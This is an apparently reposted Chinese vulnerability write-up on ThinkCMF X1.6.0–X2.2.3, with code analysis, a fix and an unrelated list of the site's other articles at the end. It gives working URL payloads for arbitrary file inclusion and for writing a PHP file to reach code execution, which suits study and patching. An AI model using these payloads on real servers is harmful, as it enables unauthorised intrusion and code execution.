ThinkCMF框架任意内容包含漏洞分析复现

2024-03-06 16:18

本文主要是介绍ThinkCMF框架任意内容包含漏洞分析复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

0x00 CMS简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞简介

  • 攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

  • 影响范围:

    ThinkCMF X1.6.0
    ThinkCMF X2.1.0
    ThinkCMF X2.2.0
    ThinkCMF X2.2.1
    ThinkCMF X2.2.2
    ThinkCMF X2.2.3

0x02 环境搭建

直接phpstudy一把梭
在这里插入图片描述

0x03 漏洞利用

1.通过构造a参数的display()方法,实现任意内容包含漏洞
payload:

?a=display&templateFile=README.md

在这里插入图片描述

2.通过构造a参数的fetch()方法,实现任意文件写入
payload:

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

在这里插入图片描述
回车执行
可以看到根目录下新建的test.php
在这里插入图片描述
打开test.php
成功写入一句话
在这里插入图片描述

0x04 代码分析

首先看下入口文件
在这里插入图片描述

根据poc盲猜控制器IndexController.class.php

可以知道继承了HomebaseController,通过g\m\a参数指定分组\模块\方法,这里可以通过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。
在这里插入图片描述
可以看的的public方法里就有display()fetch(),还有方法作用及参数含义。
display函数的作用是加载模板和页面输出,所对应的参数为:templateFile为模板文件地址,charset模板字符集,contentType输出类型,content输出内容。
在这里插入图片描述
templateFile参数会经过parseTemplate()方法处理。
\application\Common\Controller\AdminbaseController.class.phpparseTemplate()方法如下
在这里插入图片描述
parseTemplate()方法作用:判断模板主题是否存在,当模板主题不存在时会在当前目录下开始查找,形成文件包含。
在这里插入图片描述
fetch函数的作用是获取输出页面内容,调用内置模板引擎。
先判断content是否为空,不为空则templateFile参数会经过parseTemplate()方法处理

thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

所以当templateFileprefix参数为空,在content参数传入php代码,便可以形成模板注入。

0x05 漏洞修复

HomebaseController.class.phpAdminbaseController.class.php类中displayfetch函数的修饰符改为protected

0x06 参考文章

https://xz.aliyun.com/t/6626#toc-5

这篇关于ThinkCMF框架任意内容包含漏洞分析复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/780616

相关文章

Spring框架中@Lazy延迟加载原理和使用详解

《Spring框架中@Lazy延迟加载原理和使用详解》:本文主要介绍Spring框架中@Lazy延迟加载原理和使用方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录一、@Lazy延迟加载原理1.延迟加载原理1.1 @Lazy三种配置方法1.2 @Component

慢sql提前分析预警和动态sql替换-Mybatis-SQL

《慢sql提前分析预警和动态sql替换-Mybatis-SQL》为防止慢SQL问题而开发的MyBatis组件,该组件能够在开发、测试阶段自动分析SQL语句,并在出现慢SQL问题时通过Ducc配置实现动... 目录背景解决思路开源方案调研设计方案详细设计使用方法1、引入依赖jar包2、配置组件XML3、核心配

Java NoClassDefFoundError运行时错误分析解决

《JavaNoClassDefFoundError运行时错误分析解决》在Java开发中,NoClassDefFoundError是一种常见的运行时错误,它通常表明Java虚拟机在尝试加载一个类时未能... 目录前言一、问题分析二、报错原因三、解决思路检查类路径配置检查依赖库检查类文件调试类加载器问题四、常见

Python中的Walrus运算符分析示例详解

《Python中的Walrus运算符分析示例详解》Python中的Walrus运算符(:=)是Python3.8引入的一个新特性,允许在表达式中同时赋值和返回值,它的核心作用是减少重复计算,提升代码简... 目录1. 在循环中避免重复计算2. 在条件判断中同时赋值变量3. 在列表推导式或字典推导式中简化逻辑

Java程序进程起来了但是不打印日志的原因分析

《Java程序进程起来了但是不打印日志的原因分析》:本文主要介绍Java程序进程起来了但是不打印日志的原因分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Java程序进程起来了但是不打印日志的原因1、日志配置问题2、日志文件权限问题3、日志文件路径问题4、程序

Python实现word文档内容智能提取以及合成

《Python实现word文档内容智能提取以及合成》这篇文章主要为大家详细介绍了如何使用Python实现从10个左右的docx文档中抽取内容,再调整语言风格后生成新的文档,感兴趣的小伙伴可以了解一下... 目录核心思路技术路径实现步骤阶段一:准备工作阶段二:内容提取 (python 脚本)阶段三:语言风格调

Java字符串操作技巧之语法、示例与应用场景分析

《Java字符串操作技巧之语法、示例与应用场景分析》在Java算法题和日常开发中,字符串处理是必备的核心技能,本文全面梳理Java中字符串的常用操作语法,结合代码示例、应用场景和避坑指南,可快速掌握字... 目录引言1. 基础操作1.1 创建字符串1.2 获取长度1.3 访问字符2. 字符串处理2.1 子字

一文详解如何在Python中从字符串中提取部分内容

《一文详解如何在Python中从字符串中提取部分内容》:本文主要介绍如何在Python中从字符串中提取部分内容的相关资料,包括使用正则表达式、Pyparsing库、AST(抽象语法树)、字符串操作... 目录前言解决方案方法一:使用正则表达式方法二:使用 Pyparsing方法三:使用 AST方法四:使用字

Python 迭代器和生成器概念及场景分析

《Python迭代器和生成器概念及场景分析》yield是Python中实现惰性计算和协程的核心工具,结合send()、throw()、close()等方法,能够构建高效、灵活的数据流和控制流模型,这... 目录迭代器的介绍自定义迭代器省略的迭代器生产器的介绍yield的普通用法yield的高级用法yidle

C++ Sort函数使用场景分析

《C++Sort函数使用场景分析》sort函数是algorithm库下的一个函数,sort函数是不稳定的,即大小相同的元素在排序后相对顺序可能发生改变,如果某些场景需要保持相同元素间的相对顺序,可使... 目录C++ Sort函数详解一、sort函数调用的两种方式二、sort函数使用场景三、sort函数排序